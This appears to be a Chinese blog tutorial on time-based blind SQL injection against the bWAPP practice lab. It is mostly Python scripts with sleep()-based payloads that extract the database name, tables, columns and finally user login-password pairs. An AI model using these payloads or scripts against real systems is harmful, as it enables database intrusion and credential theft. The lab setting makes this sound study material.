sql盲注python脚本学习 (基于bWAPP靶场)

全局部分

python 复制代码
# 数组转字符串
from shlex import join
# 请求
import requests
# 记时
import time

r = requests.session()

登录

python 复制代码
def login():
    login_url = 'http://127.0.0.1:1234/login.php'
    params = dict(
        login='bee',
        password='bug',
        security_level=0,
        form='submit'
    )

    res = r.post(login_url, params)
    print(res) # 返回的响应码

获取当前库名

python 复制代码
def get_db_name_length():
    len = 1
    while(1):
        sql_str = f"1' or if(length(database())={len},sleep(1),1) -- "
        url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
        start = time.time()
        r.get(url)
        if (time.time()-start)>1: 
            return len
        len+=1

def get_db_name(max):
    db_name = [''] * max
    for len in range(1,max+1,1):
        ACI = 48
        while(ACI<128):
            sql_str = f"1' or if(ascii(substr(database(),{len},1))={ACI},sleep(1),1) -- "
            url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
            start = time.time()
            r.get(url)
            if (time.time() - start) > 1:
                db_name[len-1]=chr(ACI)
                break
            ACI +=1
    return db_name

db_name = get_db_name(get_db_name_length())
print(join(db_name))
# 结果:b W A P P

获取全部表名

python 复制代码
def get_table_name_length():
    len = 1
    while(1):
        sql_str = f"1' or if(length((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'))={len},sleep(1),1) -- "
        url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
        start = time.time()
        r.get(url)
        if (time.time()-start)>1:
            return len
        len+=1

def get_table_name(max):
    table_name = [''] * max
    for len in range(1,max+1,1):
        ACI = 48
        while(ACI<128):
            sql_str = f"1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'),{len},1))={ACI},sleep(1),1) -- "
            url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
            start = time.time()
            r.get(url)
            if (time.time() - start) > 1:
                print(chr(ACI))
                table_name[len-1]=chr(ACI)
                break
            ACI +=1
    return table_name

table_name=get_table_name(get_table_name_length())
print(join(table_name))
# 结果:b l o g '' h e r o e s '' m o v i e s '' u s e r s '' v i s i t o r s

获取字段名

仅仅更改sql_str

python 复制代码
sql_str = f"1' or if(length((select group_concat(column_name) 
from information_schema.columns where table_schema='bWAPP' and table_name='users'))=
{len},sleep(1),1) -- "

sql_str = f"1' or if(ascii(substr((select group_concat(column_name) 
from information_schema.columns where table_schema='bWAPP' and table_name='users'),
{len},1))={ACI},sleep(1),1) -- "

获取用户信息

python 复制代码
def get_users_passwd():
    cou = 1
    while (1):
        sql_str = f"1' or if(length((select group_concat(concat(login,'-',password)) from bWAPP.users))={cou},sleep(0.1),1) -- "
        url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
        start = time.time()
        r.get(url)
        if (time.time() - start) > 1:
            print(cou)
            break
        cou+=1

    user_str = ['']*cou
    for x in range(1,cou,1):
        ACI = 48
        while (ACI < 128):
            sql_str = f"1' or if(ascii(substr((select group_concat(concat(login,'-',password)) from bWAPP.users),{x},1))={ACI},sleep(0.1),1) -- "
            url = f'http://127.0.0.1:1234/sqli_15.php?title={sql_str}&action=search'
            start = time.time()
            r.get(url)
            if (time.time() - start) > 1:
                print(chr(ACI))
                user_str[x-1]=chr(ACI)
                break
            ACI+=1
    return join(user_str)
相关推荐
超浪的晨2 分钟前
Java List 集合详解:从基础到实战,掌握 Java 列表操作全貌
java·开发语言·后端·学习·个人开发
超浪的晨8 分钟前
Java Set 集合详解:从基础语法到实战应用,彻底掌握去重与唯一性集合
java·开发语言·后端·学习·个人开发
liliangcsdn25 分钟前
mac mlx大模型框架的安装和使用
java·前端·人工智能·python·macos
香蕉可乐荷包蛋28 分钟前
Python学习之路(十三)-常用函数的使用,及优化
开发语言·python·学习
惜.己37 分钟前
使用python的读取xml文件,简单的处理成元组数组
xml·开发语言·python·测试工具
倔强青铜三1 小时前
苦练Python第25天:玩转字典
人工智能·python·面试
许白掰1 小时前
Linux入门篇学习——借助 U 盘或 TF 卡拷贝程序到开发板上
linux·学习·借助 u 盘拷贝程序到开发板上·借助 tf卡拷贝程序到开发板上
倔强青铜三1 小时前
苦练Python第23天:元组秘籍与妙用
人工智能·python·面试
Norvyn_71 小时前
LeetCode|Day18|20. 有效的括号|Python刷题笔记
笔记·python·leetcode
chao_7892 小时前
更灵活方便的初始化、清除方法——fixture【pytest】
服务器·自动化测试·python·pytest